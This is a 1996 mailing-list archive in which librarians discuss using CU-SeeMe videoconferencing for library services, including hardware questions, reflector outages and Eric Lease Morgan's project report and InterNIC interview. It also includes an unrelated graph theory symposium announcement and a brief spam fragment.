the > ""whiteboard"" function, which allows both parties to share a writing space. > Does anyone know any other differences? Based on my limited knowledge, I believe the commerical version of CU-SeeMe from White Pine (www.whitepine.com) has three major enhancements: 1. Better compression algorithms 2. Color video output 3. A white board for sharing drawings. I am not using the commercial version. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From pzilius@umich.edu Fri Jul 19 16:20:56 1996 Received: by vega.lib.ncsu.edu; id AA18491; Fri, 19 Jul 1996 16:20:56 -0400 Received: from battlezone.rs.itd.umich.edu by battlezone.rs.itd.umich.edu (8.7.5/2.2) id QAA00339; Fri, 19 Jul 1996 16:17:20 -0400 (EDT) Date: Fri, 19 Jul 1996 16:17:19 -0400 (EDT) From: ""Pamela M. Zilius"" X-Sender: pzilius@battlezone.rs.itd.umich.edu To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: Re> commercial vs. free CU-SeeMe software In-Reply-To: <9607191941.AA18113@vega.lib.ncsu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > > people are using the free version? What are the limitations of the free > > version? For one thing, I believe the free version does not have the > > ""whiteboard"" function, which allows both parties to share a writing space. > > Does anyone know any other differences? Free demonstration copies of White Pine's enhanced version can be downloaded from http://goliath.wpine.com/cu-seeme.html. They're good for 30 days. I've used it, and it works great. I agree that the compression is better on the commercial version, and the whiteboard is handy. ------------------------------------------- Pamela Zilius-Careaga pzilius@umich.edu Media Union/Science Libraries University of Michigan ------------------------------------------- >From Judy.Hauser@Oakland.k12.mi.us Mon Jul 22 08:21:00 1996 Received: by vega.lib.ncsu.edu; id AA02162; Mon, 22 Jul 1996 08:21:00 -0400 Received: from [198.111.47.49] (198.111.47.49) by kahuna.oakland.k12.mi.us (EMWAC SMTPRS 0.81) with SMTP id ; Mon, 22 Jul 1996 08:20:03 -0400 Date: Mon, 22 Jul 1996 08:20:03 -0400 X-Sender: HauserJ@oakland.k12.mi.us Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: see-a-librarian-l@vega.lib.ncsu.edu From: Judy.Hauser@Oakland.k12.mi.us (Judy Hauser) Subject: Re: commercial vs. free CU-SeeMe software I'm using the free version. Can anyone tell me how much the commercial version is and how to purchase it? Thanks. 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For value and a logo that reflects your image, take a few minutes and visit Logo Maker! http://clonic.com.logotip-marke.com Sincerely, Logo Design Team debase baseball contradictory ",1,1 Judy.Hauser@Oakland.k12.mi.us,see-a-librarian-l@vega.lib.ncsu.edu,"Mon, 22 Jul 1996 08:36:46 -0400",CuSeeMe-downloadable,"Eric - is the version of CuSeeMe on your web site for PowerMacs only? I have a Mac LC575 and can't seem to get that version to work. Thanks Judy Hauser Library Consultant Oakland Schools 2100 Pontiac Lake Road Waterford, MI 48328 Phone:(810)-858-1971 Fax:(810)858-1881 ",0,0 EricMorgan@aol.com,see-a-librarian-l@vega.lib.ncsu.edu,"Mon, 22 Jul 1996 16:03:17 -0400",downloadable,"> Eric - is the version of CuSeeMe on your web site for PowerMacs only? I have a Mac LC575 and can't seem to get that version to work. Thanks No, I don't t think the version of CU-SeeMe on the See A Librarian home page is for PowerMacs only. If in doubt, try the home page of CU-SeeMe at: http://cu-seeme.cornell.edu Tell us what happens. -- Eric Lease Morgan NCSU Libraries http:/www.lib.ncsu.edu/staff/morgan/ >From Judy.Hauser@Oakland.k12.mi.us Wed Jul 24 13:26:35 1996 Received: by vega.lib.ncsu.edu; id AA20503; Wed, 24 Jul 1996 13:26:35 -0400 Received: from [198.111.47.49] (198.111.47.49) by kahuna.oakland.k12.mi.us (EMWAC SMTPRS 0.81) with SMTP id ; Wed, 24 Jul 1996 13:25:03 -0400 Date: Wed, 24 Jul 1996 13:25:03 -0400 X-Sender: HauserJ@oakland.k12.mi.us Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: see-a-librarian-l@vega.lib.ncsu.edu From: Judy.Hauser@Oakland.k12.mi.us (Judy Hauser) Subject: Powerbook question As of yesterday, I no longer have my Mac LC575 in my office. That has gone on to someone else in the building. I now use my Mac Powerbook 5300cs plus a monitor and keyboaRD to use when I'm in my office. I have just been told that I can't use CuSeeMe with a Powerbook. If this is true, I will have to go to the other end of the floor and borrow someone else's Mac to videoconf. with all of you. Any verification of this situation? Thanks. Judy Hauser Library Consultant Oakland Schools 2100 Pontiac Lake Road Waterford, MI 48328 Phone:(810)-858-1971 Fax:(810)858-1881",0,1 """Prof. Martin Golumbic"" ",Local Distribution ,"Tue, 23 Jul 1996 05:00:08 -0700","Graph Theory Day (Mini-Symposium) Aug. 1, 1996","Second Announcement Graph Theory Day (Mini-Symposium) August 1, 1996 Ramada-Continental Hotel Tel-Aviv, Israel 9am-6pm Sponsored by the Bar-Ilan Institute for Computer Science Research Guest Lecturer: Prof. Uri Peled (Univ. of Illinois at Chicago) ""Threshold Graphs and Related Topics"" You and your colleagues are cordially invited to attend the August 1, 1996 Graph Theory Day (Mini-Symposium) to be held at the Ramada-Continental Hotel, Tel-Aviv, Israel, sponsored by the Bar-Ilan Institute for Computer Science Research. The format will be similar to ARIDAM with morning and afternoon hour lectures by Prof. Uri Peled from Univ. of Illinois at Chicago coauthor of the recent book, ""Threshold Graphs and Related Topics"", short 15-20 minute presentations by other participants, and a problem session. There will be a long break over lunch for discussions. A partial list of speakers is given below. Registration should be made by email or telephone by July 29, 1996. The registration fee is 100 shekels which includes lunch, coffee and cake breaks, and a clear view of the Mediteranean Sea. Student registration is 20 shekels but does not include lunch. Registration at the door is also possible on a space available basis -- but it is preferred in advance, so that enough abstract booklets will be available. SCHEDULE 9:00 Registration and Fruit Juice 9:30 Uri Peled, Lecture #1 10:45 Coffee and Cake 11:15 Short Talks 13:00 Lunch and Informal Discussions 15:00 Uri Peled, Lecture #2 16:15 Coffee and Cake 16:45 Short Talks and Problem Session 18:00 Conclusion 20:00 Dinner (optional) Participants interested in overnight accommodations should contact Mr. Mike Amir at Sharon Tours, tel: +972-3-673-8144 fax: +972-3-672-4365 _______________________________________________________________________ REGISTRATION FORM Please send by 29 July 1996 to Prof. Martin Charles Golumbic Director, Institute for Computer Science Research Dept. of Mathematics and Computer Science Bar-Ilan University Ramat Gan, ISRAEL email: golumbic@vm.biu.ac.il Phone: +972-3-531-8407 (office) +972-4-825-7792 (home) FAX: +972-3-535-3325 I will attend the Graph Theory Day Mini-symposium ___ Regular registration including lunch (100 shekels) ___ Student registration without lunch (20 shekels) Registration fee can be paid on August 1, 1996 Name: Affiliation: Email or other contact point: --------------------------------------------------------------------- Partial list of short talk speakers (in alphabetical order): Ron Adin (math.biu.ac.il) Leaf-labelling Trees and the Free Lie Algebra Avi Berman(berman@techunix.technion.ac.il) Nonnegative Nilpotent Triangular Completions Aviezri Fraenkel On Combinatorial Game Theory Foundations with Applications to Digraph Kernels Ron Holzman (holzman@techunix.technion.ac.il) Kernels in Perfect Graphs (joint work with Ron Aharoni) Ephriam Korach (korach@bgumail.bgu.ac.il) A Buried Treasure Problem as a Special Polynomial Class of TSP (joint work with Jack Brimberg) Vadim E. Levit (levit@cs.biu.ac.il) On Thresholdness of Composition Graphs; (joint with Eugen Mandrescu) Michal Penn (mpenn@ie.technion.ac.il) Container Ship Stowage Problem: Complexity and Connection to the Coloring of Circle Graphs, (joint with Mordecai Avriel and Naomi Shpirer)",0,0 Eric Lease Morgan ,"Judy.Hauser@Oakland.k12.mi.us, see-a-librarian-l@vega.lib.ncsu.edu","Wed, 24 Jul 1996 13:29:49 -0400",Re> Powerbook question,"> As of yesterday, I no longer have my Mac LC575 in my office. That has gone > on to someone else in the building. I now use my Mac Powerbook 5300cs plus > a monitor and keyboaRD to use when I'm in my office. I have just been told > that I can't use CuSeeMe with a Powerbook. If this is true, I will have to > go to the other end of the floor and borrow someone else's Mac to > videoconf. with all of you. Any verification of this situation? Thanks. I an not verify this except to say that I can do CU-SeeMe with my PowerBook 540c. Give it a try and tell us what happens. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From Judy.Hauser@Oakland.k12.mi.us Wed Jul 24 13:42:52 1996 Received: by vega.lib.ncsu.edu; id AA20824; Wed, 24 Jul 1996 13:42:52 -0400 Received: from [198.111.47.49] (198.111.47.49) by kahuna.oakland.k12.mi.us (EMWAC SMTPRS 0.81) with SMTP id ; Wed, 24 Jul 1996 13:41:21 -0400 Date: Wed, 24 Jul 1996 13:41:21 -0400 X-Sender: HauserJ@oakland.k12.mi.us Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: see-a-librarian-l@vega.lib.ncsu.edu From: Judy.Hauser@Oakland.k12.mi.us (Judy Hauser) Subject: Re: Re> Powerbook question I will try between 3-4 today. I was told that it has something to do with there not being enough ports on the back of the Powerbook. Judy Hauser Library Consultant Oakland Schools 2100 Pontiac Lake Road Waterford, MI 48328 Phone:(810)-858-1971 Fax:(810)858-1881",0,1 Lori Bell ,see-a-librarian-l@vega.lib.ncsu.edu,"Wed, 24 Jul 1996 14:04:25 -0500",Re: downloadable,"Can anyone give me the specifications for a video camera to work with CUSeeMe? Can you recommend a place to purchase this? The price I got on a digital video camera is $859 and on a video camera with standard NTSC output is $495. I wonder if this is typical or not. Any information you could provide would be very helpful and appreciated. Thanks. >From Judy.Hauser@Oakland.k12.mi.us Wed Jul 24 15:17:16 1996 Received: by vega.lib.ncsu.edu; id AA22036; Wed, 24 Jul 1996 15:17:16 -0400 Received: from [198.111.47.49] (198.111.47.49) by kahuna.oakland.k12.mi.us (EMWAC SMTPRS 0.81) with SMTP id ; Wed, 24 Jul 1996 15:15:46 -0400 Date: Wed, 24 Jul 1996 15:15:46 -0400 X-Sender: HauserJ@oakland.k12.mi.us Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: see-a-librarian-l@vega.lib.ncsu.edu From: Judy.Hauser@Oakland.k12.mi.us (Judy Hauser) Subject: Powerbook I got into the two reflector sites but I can't see anyone else and it says zero participants. I don't know if there just isn't anyone participating orif I'm starting to have trouble because I'm connecting with a Powerbook. I will try again tomorrow. Judy Hauser Library Consultant Oakland Schools 2100 Pontiac Lake Road Waterford, MI 48328 Phone:(810)-858-1971 Fax:(810)858-1881",0,0 Eric Schnell ,see-a-librarian-l@vega.lib.ncsu.edu,"Wed, 24 Jul 1996 16:18:49 -0400",Re: Powerbook,"At 03:17 PM 7/24/96 -0400, Judy Hauser wrote: >I got into the two reflector sites but I can't see anyone else and it says >zero participants. I don't know if there just isn't anyone participating >orif I'm starting to have trouble because I'm connecting with a Powerbook. >I will try again tomorrow. I have tried myself with the same results. Since I do not have video capability and am on a PC all I can do is lurk. At least MAC users have audio access.... Eric Eric Schnell, Head of Automation Services Prior Health Sciences Library, Ohio State schnell.9@osu.edu 614-292-4870 http://bones.med.ohio-state.edu/eric/eric.html ",0,1 Alejandro Garza Gonzalez ,see-a-librarian-l@vega.lib.ncsu.edu,"Wed, 24 Jul 1996 15:37:28 -0600",Re: Powerbook question,"Has something happened to the reflector at sunsite.berkeley.edu? I couldn't connect either monday nor tuesday. And vega.lib.ncsu.edu seems empty most of the time, too... _alejandro garza ITESM Centro de Informacion-Biblioteca Monterrey agarza@campus.mty.itesm.mx http://www-cib.mty.itesm.mx/ ____ __ _ _ _ _ >From agarza@ci.mty.itesm.mx Wed Jul 24 17:03:19 1996 Received: by vega.lib.ncsu.edu; id AA23154; Wed, 24 Jul 1996 17:03:19 -0400 Received: from ci.mty.itesm.mx (ci.mty.itesm.mx [131.178.23.20]) by campus.mty.itesm.mx (8.6.9/8.6.9) with SMTP id PAA75049 for ; Wed, 24 Jul 1996 15:53:42 -0600 Date: Wed, 24 Jul 1996 15:51:01 -0600 (GMT-0600) From: Alejandro Garza Gonzalez To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: downloadable In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Lori: if you need a low-cost alternative camera, that you'll only use for Cu-SeeMe, try the Connectix B/W Quickcam, which retails for around $80 (mac and PC versions available). There's also a Color version, which costs about twice as much. Try: http://www.connectix.com/ Greets! _alejandro garza ITESM Centro de Informacion-Biblioteca Monterrey agarza@campus.mty.itesm.mx http://www-cib.mty.itesm.mx/ ____ __ _ _ _ _ On Wed, 24 Jul 1996, Lori Bell wrote: > Can anyone give me the specifications for a video camera to work with > CUSeeMe? Can you recommend a place to purchase this? The price I got on > a digital video camera is $859 and on a video camera with standard NTSC > output is $495. I wonder if this is typical or not. Any information you > could provide would be very helpful and appreciated. Thanks. >From Judy.Hauser@Oakland.k12.mi.us Thu Jul 25 08:25:51 1996 Received: by vega.lib.ncsu.edu; id AA27155; Thu, 25 Jul 1996 08:25:51 -0400 Received: from [198.111.47.49] (198.111.47.49) by kahuna.oakland.k12.mi.us (EMWAC SMTPRS 0.81) with SMTP id ; Thu, 25 Jul 1996 08:24:28 -0400 Date: Thu, 25 Jul 1996 08:24:28 -0400 X-Sender: HauserJ@oakland.k12.mi.us Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: see-a-librarian-l@vega.lib.ncsu.edu From: Judy.Hauser@Oakland.k12.mi.us (Judy Hauser) Subject: Powerbook 5300cs Does anyone on the listserv use a Mac Powerbook 5300cs? If so, can you tell me if CuSeeMe works for you. Thanks. Judy Hauser Library Consultant Oakland Schools 2100 Pontiac Lake Road Waterford, MI 48328 Phone:(810)-858-1971 Fax:(810)858-1881",0,1 Eric Lease Morgan ,see-a-librarian-l@vega.lib.ncsu.edu,"Thu, 25 Jul 1996 09:59:38 -0400",Re> Re: downloadable,"> Can anyone give me the specifications for a video camera to work with > CUSeeMe? Can you recommend a place to purchase this? The price I got on > a digital video camera is $859 and on a video camera with standard NTSC > output is $495. I wonder if this is typical or not. Any information you > could provide would be very helpful and appreciated. Thanks. I concur with Alejandro. An inexpensive QuickCam camera is almost too good to be true. It works great and plugs right into your computer's serial port. There are two types: color and black/white. Remember that CU-SeeMe only does black and white while the White Pine version does color. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From eric_morgan@ncsu.edu Thu Jul 25 10:04:45 1996 Received: by vega.lib.ncsu.edu; id AA27944; Thu, 25 Jul 1996 10:04:45 -0400 Message-Id: <9607251404.AA27944@vega.lib.ncsu.edu> Received: from 152.1.139.102 ([152.1.139.102]) by ncsulib5.lib.ncsu.edu with SMTP; Thu, 25 Jul 1996 10:02:24 -0400 (EDT) From: Eric Lease Morgan Date: Thu, 25 Jul 1996 10:02:34 -0400 To: see-a-librarian-l@vega.lib.ncsu.edu Cc: Judy.Hauser@Oakland.k12.mi.us Subject: study hall X-Mailer: MailConnect v1.2 > I got into the two reflector sites but I can't see anyone else and it says > zero participants. I don't know if there just isn't anyone participating > orif I'm starting to have trouble because I'm connecting with a Powerbook. > I will try again tomorrow. One of the problems with CU-SeeMe is the fact that no one seems to be around when you want them. Here is a suggestion. Just hang out. There is no reason why you can't connect to one of our reflectors and just wait for somebody else to show up. While CU-SeeMe does require a lot of bandwidth, you can temporarily turn of the sending of video to reduce the load. Try connecting to the reflectors and just waiting. Try using the reflector as a ""study hall"" sort of thing. What do y'all think? -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From eric_morgan@ncsu.edu Thu Jul 25 10:07:22 1996 Received: by vega.lib.ncsu.edu; id AA28063; Thu, 25 Jul 1996 10:07:22 -0400 Message-Id: <9607251407.AA28063@vega.lib.ncsu.edu> Received: from 152.1.139.102 ([152.1.139.102]) by ncsulib5.lib.ncsu.edu with SMTP; Thu, 25 Jul 1996 10:05:01 -0400 (EDT) From: Eric Lease Morgan Date: Thu, 25 Jul 1996 10:05:10 -0400 To: see-a-librarian-l@vega.lib.ncsu.edu Cc: agarza@ci.mty.itesm.mx Subject: Re> Re: Powerbook question X-Mailer: MailConnect v1.2 > Has something happened to the reflector at sunsite.berkeley.edu? I > couldn't connect either monday nor tuesday. And vega.lib.ncsu.edu seems > empty most of the time, too... I believe the entire sunsite.berkeley.edu machine was down all day Monday and Tuesday. I believe things are up and running again. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From kamorgan@unity.ncsu.edu Thu Jul 25 10:18:51 1996 Received: by vega.lib.ncsu.edu; id AA28246; Thu, 25 Jul 1996 10:18:51 -0400 Received: from Untitled by cc10ss.unity.ncsu.edu (8.7.3/US20May96) id KAA27076; Thu, 25 Jul 1996 10:15:07 -0400 (EDT) X-Sender: kamorgan@pop-in.ncsu.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Thu, 25 Jul 1996 10:15:15 -0400 To: see-a-librarian-l@vega.lib.ncsu.edu From: Keith Morgan Subject: Re: study hall Eric wrote: > Try connecting to the reflectors and just waiting. Try using the >reflector as a > ""study hall"" sort of thing. > > What do y'all think? I think this is worth trying. I plan to leave CU-See-Me on during the afternoon for a while. Keith Morgan Keith Morgan Client Services Librarian for Networked Resources North Carolina State University Libraries http://www.lib.ncsu.edu/staff/kamorgan/",0,1 Roy Tennant ,see-a-librarian-l@vega.lib.ncsu.edu,"Thu, 25 Jul 1996 07:32:37 -0700",Re: Re> Re: Powerbook question,"Yes, we were unfortunately down from Monday evening PST (with some *very* buggy things happening beforehand) to Tuesday midday. We are definitely back up now. Thanks for your patience. On the other thread, I usually have at least three applications going at any one time and there isn't any reason why one of them can't be CU-SeeMe (except, of course, that I need to get a camera! I feel a color QuickCam in my future...) Roy On Thu, 25 Jul 1996, Eric Lease Morgan wrote: > > Has something happened to the reflector at sunsite.berkeley.edu? I > > couldn't connect either monday nor tuesday. And vega.lib.ncsu.edu seems > > empty most of the time, too... > > I believe the entire sunsite.berkeley.edu machine was down all day Monday and > Tuesday. I believe things are up and running again. > > > -- > Eric Lease Morgan > NCSU Libraries > http://www.lib.ncsu.edu/staff/morgan/ > >From john@colosys.net Tue Jul 30 14:48:50 1996 Received: by vega.lib.ncsu.edu; id AA26879; Tue, 30 Jul 1996 14:48:50 -0400 Received: by tripath.colosys.net; (5.65/1.1.8.2/28Apr95-0930AM) id AA00261; Tue, 30 Jul 1996 12:41:32 -0600 Date: Tue, 30 Jul 1996 12:41:31 -0600 (MDT) From: John Campbell Subject: Re: downloadable To: see-a-librarian-l@vega.lib.ncsu.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII i bought a connectix quikcam from global computer supply for $99. uses a parallel port. took about 5 minutes to get going. if you want an address for global, drop a note. john !*!*!*!*!*!*!*!*!*!*!*!*!*!* john campbell pathfinder library system grand junction, colorado john@colosys.net ***** in the war of ideas, librarians are the arms dealers for both sides !*!*!*!*!*!*!*!*!*!*!*!*!*!* On Wed, 24 Jul 1996, Lori Bell wrote: > Can anyone give me the specifications for a video camera to work with > CUSeeMe? Can you recommend a place to purchase this? The price I got on > a digital video camera is $859 and on a video camera with standard NTSC > output is $495. I wonder if this is typical or not. Any information you > could provide would be very helpful and appreciated. Thanks. > >From eric_morgan@ncsu.edu Thu Aug 1 15:52:35 1996 Received: by vega.lib.ncsu.edu; id AA07117; Thu, 1 Aug 1996 15:52:35 -0400 Message-Id: <9608011952.AA07117@vega.lib.ncsu.edu> Received: from 152.1.139.102 ([152.1.139.102]) by ncsulib5.lib.ncsu.edu with SMTP; Thu, 1 Aug 1996 15:50:13 -0400 (EDT) From: Eric Lease Morgan Date: Thu, 1 Aug 1996 15:49:21 -0400 To: see-a-librarian-l@vega.lib.ncsu.edu Subject: report of stage #1 X-Mailer: MailConnect v1.2 See You See a A Librarian - Report on Stage #1 This reports on the See You See A Librarian Project's first month of operation. Connections During the first month of the project more at least 300 connections were made to either the reflector at sunsite.berkeley.edu or vega.lib.ncsu.edu. There were certainly more connections than this, but I was unable to consistently extract the number of users from the sunsite reflector.log file. Of the connections made, everybody, with the exception of one person, made more than one connection to the reflectors. One person connected more 115 times (""Thank you!"") The most popular connection days were July 8th - 15th, and very few connections were made later in the month. Generally speaking, more connections were made in the afternoon (EST) than other times of the day. Some of the people connecting were from the United Kingdom and Mexico, but the majority of people were from the United States. Hardware/Software Issues The people who connected to the reflectors generally were islands of technology. In other words, these were people who had the necessary hardware and software to do ""full"" CU-SeeMe. It seems the necessary resources to do complete video and audio I/O are few and far between in libraries. Even here at NCSU no librarians have video cameras; the video cameras in use here at the Libraries are my personal property. Additionally, when people did have the necessary hardware, audio I/O was usually stumbling block. On the other hand, after a bit of tweaking, this looks like it can be resolved. Library Issues When discussions did take place on the reflectors, the consensus was that this technology could be used effectively to enhance library services. Some of the work being done at the University of Michigan demonstrates this as fact. Some people were going to use CU-SeeMe as a training medium. Others were going to use it as a supplement to reference services. On the other hand, an informal discussion with non-librarians (only three people), demonstrated that there is no perceived need for such a service. After explaining the concept to these people, the common response was, ""But I can use a telephone for that."" Unfortunately, these people did not seem to understand the subtleties of the reference interview and non-verbal communication. Future Directions Despite the lower than expected response to the See You See A Librarian Project, it will continue into its second month. The recent flurry of postings to Web4Lib concerning the organization of Internet resources gave me and idea. I am trying to put together a debate over the Internet using CU-SeeMe. So far I have tried twice to get people to participate in this debate, but the response has been the same, ""I don't have the necessary hardware and software to do CU-SeeMe."" It seems two things are apparent so far: 1. Many people don't have the necessary equipment to use this technology, yet. 2. CU-SeeMe may be a solution looking for a problem. ""CU online!"" -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From morgan@ncsulib5.lib.ncsu.edu Mon Aug 19 14:07:41 1996 Received: by vega.lib.ncsu.edu; id AA04127; Mon, 19 Aug 1996 14:07:41 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Mon, 19 Aug 1996 14:05:07 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960819140559.ZM983596@homam.lib.ncsu.edu> Date: Mon, 19 Aug 1996 14:05:56 -0400 Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.2.2 19Jun95) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: InterNIC ""interview"" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii I was recently contacted by a representative of InterNIC, the folks who help administrate Internet domain names. They wanted some information about the See You See A Librarian project for an upcoming newsletter article. They sent me some questions and I answered them. These questions and answers are below for your late night reading enjoyment. ===== 1. Can you provide a brief outline of the project? * What gave you the idea for See You See A Librarian? * How did you go about implementing the project? * What type of support do you have for the project (i.e. funding, resources, etc.) and where did/does it come from? * How many people are involved on the management and operation of the project - from your institution? from other institutions? Around Labor Day I started asking myself how effective would the CU-SeeMe technology be in enhancing library services. Now-a-days, more and more real library work can be done by patrons without every coming to the library. Yet, there are times when a librarian's help is still needed to truely satisfy a patron's information need. It is a well known fact that communication is accomplished in many ways. Telephone communications offer immediacy but lack essencial non-verbal aspects. Email mandates concise descriptions of problems. Face-to-face communication, even at a distance, could reduce the limitations of the email and telephone mediums. I began wondering whether or not face-to-face communications using some thing like CU-SeeMe would improve the ways librarians and their patrons could solve this problem, namely the problem of assisting patrons from remote distances. In an effort to learn more about CU-SeeMe, I used my desktop computer and started trying to connect to remote CU-SeeMe reflectors. To my dismay, most times, when connecting to these reflectors, I found nobody there. ""How am I suppose to explore this technology, if I can't see anybody."" Consequently, I decided to set up my own reflector(s) and formulate a plan. The plan, as described at http://sunsite.berkeley.edu/~emorgan/see-a-librarian/, has three parts: 1. Feasibility - this part is/was intended to see how many librarians have the necessary hardware and software to do CU-SeeMe. 2. Librarians on Librarianship - this part intends to focus any discussion using CU-SeeMe on the issues of librarianship 3. Librarians Fostering Knowledge - this part was intended to explore the feasility of providing reference services to the Internet patrons using CU-Seeme. Finally, I gave my project a cute name, See You See A Librarian, and spammed hosts of library-related mailing list describing the project. The project has the support of both the administration at the NCSU Libraries where I am employed and people who administrate the Sunsite computer at the University of California-Berkeley (Roy Tenent). Thus, there are only a small handful of people involved in the management of the project, maybe five. The CU-SeeMe technology supports three types of communication: one-to-one, one-to-many, and many-to-many. To facilitate one-to-many and many-to-many communications there needs to be an intermediary piece of software called a ""reflector."" This program ""reflects"" CU-SeeMe connections to other people who are connected to the reflector(s). Furthermore, reflectors can be ""connected"" to each other so people connected to one reflector can see the people reflected to the other reflectors. There are two reflectors used in this project. One is located at the NCSU Libraries (vega.lib.ncsu.edu) and the other is at UC-Berkeley (sunsite.berkeley.edu). 2. Can you provide a brief statistical snapshot? * Number of institutions participating * Number of individuals participating * Demography of participants (i.e. trends relating to geography, size or type of institution, etc.) * Are any of the participants NOT libraries or librarians? Once the project got started in July, anybody with the necessary hardware and software was encouraged to participate. During the first month of the project more at least 300 connections were made to either the reflector at sunsite.berkeley.edu or vega.lib.ncsu.edu. There were certainly more connections than this, but I was unable to consistently extract the number of users from the sunsite reflector.log file. Of the connections made, everybody, with the exception of one person, made more than one connection to the reflectors. One person connected more 115 times. The most popular connection days were July 8th - 15th, and very few connections were made later in the month. Generally speaking, more connections were made in the afternoon (Eastern Time) than other times of the day. Some of the people connecting were from the United Kingdom and Mexico, but the majority of people were from the United States. Based on my observations all the participants were librarians, people who worked in libraries, or people who worked for the library community (consultants). Of the librarians, the mix was evenly divided between academic, special, and state-supported libraries. The sizes of the insitutions represented by the participants in not known. 3. Can you offer an analytical look at the use of the technology in the library field? * What do you see as potential areas of use for the technology in the library field? * What do you perceive to be the major drawbacks to using the technology - for the library field? * What do you perceive as major advantages? The advantages and disadvantages of interactive video conferencing (CU-SeeMe) in the library field are pretty much the same advantages and disadvantages when applied to other communication endevours. For example, CU-SeeMe requires special hardware and software in order to work, specifically video technology (a video camera) and audio technology (a microphone) as well as a high-speed Internet connection. While the Internet connection is becoming less and less of a barrier, it seems that the video/audio is the major stumbling block. Many library administrations do not support librarians with this sort of hardware. At the same time, this is understandable since no real uses of this technology have been readily demonstrated. There are a couple of other problems with the technology. For example, CU-SeeMe makes people conscious of their appearence to others. This sometimes makes people shy and not want to participate. In the other extreame, there exist on the Internet exhibitionists who intrude into CU-SeeMe reflectors and detract from the reflectors's intended use. Additionally, it is quite possible to impersonate somebody else using CU-SeeMe and commit slanderous acts. On the other hand, if the necessary hardware where many universally available, then video conferencing could be used in numerous ways in Library Land. The most obvious example from the patron's perspective is for reference queries. There are many times when it would be helpful to speak to a librarian. While telephone communications are useful, video conferencing would transmit the non-verbal aspects of the reference interview process and quite possibly improve the service. Since telephones are not available throughout libraries, video conferencing could extend reference services to the patrons in the ""stacks"" if a wireless network were available. Unfortunately, the few patrons I have talked to concering these sorts of ideas have not been impressed. The common response is, ""I don't need CU-SeeMe to ask a reference question. I have a telephone for that."" These people do not understand the sublties of the reference interview. >From a library-only point of view, CU-SeeMe could be used to facilitate the training of library staff in places where travel is difficult. For example the state library system of Florida is trying the use of CU-SeeMe for just this purpose. Since the state is so extensively rural, the state librarians are finding the use of CU-SeeMe as a way to provide in-services to remote librarians. Another alternative is to use CU-SeeMe as a medium for live debates. For example, about a month ago there was a raging debate on a popular library-related mailing list. The topic of the debate was whether or not to catalog Internet resources. Some advocated the idea and others did not. I invited four people to express their opinions concerning the topic structured as a formal debate. While the debate takes place, others can ""lurk"" to watch the debate. This concept would have worked for many many people even if they did not have a video camera. Unfortunately, again, the people I contacted to debate the issued did not have the necessary equipment to do CU-SeeMe. 4. Can you comment on the library field's ""readiness"" for CU-SeeMe and other videoconferencing and collaboration technologies? * Where are we (the library profession) now? * Where do we need to be to be, in terms of both the technology itself and the skills base, to really employ this technology to our advantage? * What needs to happen to get us to that point? I believe the library community is ready for this sort of technology. I believe all librarians would see the inherent possibilities of CU-SeeMe. At the same time, libraries are notoriously under funded; libraries are not money making organizations. Consequently, the budgets of libraries are limited and currently do not allow of very many experiments like video cameras. Similarly, like everybody else, libraries feel under staffed and to bring on new services like the use of CU-SeeMe will mean the elimination of other services. ""What services do we stop doing in order to provide this new one?"" In order to make the use of CU-SeeMe a reality in any institution I believe a number of things need to happen. First, there must be a commitment on the library administration to purchase the necessary hardware. Second, the administration of the institution the library services must commit to making the necessary hardware available to it constituencies. For example, video cameras could be made standard equipment in college computing labs. Next either more staff are needed to provide the newer services or other services have to eliminated. Once this happens, libraries could regularly staff the ""CU-SeeMe Stations"" just as they staff the reference desk and field remote reference queries. 5. It appears that your project is initially aimed at providing an interactive platform for professional collaboration in the library field. How receptive have librarians been to the idea of using the technology for this purpose? * How has the interactive nature of the technology enhanced the collaboration process over, say, simple email exchanges? In general, librarian have been positive to the use of this technology, but the vast majority of them do not have the necessary hardware to participate. Additionally, even when given the opportunity to borrow the necessary hardware they are sometimes reluctant to participate since they have little time for experimentation. At this time, there is not enough experience from the project to know whether or not the ""technology enhanced the collaboration process over, say, simple email exchanges."" 6. There can be little doubt that the Internet, particularly tools such as electronic mail and distributed information systems such as the World Wide Web, have had tremendous import for the nature of library work, how libraries conduct their business and carry out their missions, what that business and that mission is, and what is consequently required of the professionals in the field. Do you see CU-SeeMe and videoconferencing in general as having the same type of impact? Why or why not? While desktop video conferencing has the potential of enhancing library services quite a bit, I do not see desktop video significantly transforming library services. Libraries are about collecting, organizing, archiving, disseminating, and sometimes evaluating information. The use of CU-SeeMe or some other video conferencing technology only effects one aspect of those services (the dissemination process). Furthermore, I would personally like to see the realm of library services move from information mediation to knowledge mediation. The computer has enabled more and more people to acquire their own information without the use of a library. The real skill librarians posses is the ability to evaluate information. This evaluation process facilitates knowledge and I would like to see librarianship move in a more aggressive manner towards these goals. 7. What advice or suggestions would you give a library considering the use of CU-SEEME or other videoconferencing technology to deliver traditional library services? If I were to implement a full scale plan to incorporate something like CU-SeeMe into library services I would: 1. Equip a goodly number of librarians with the necessary hardware and software. 2. 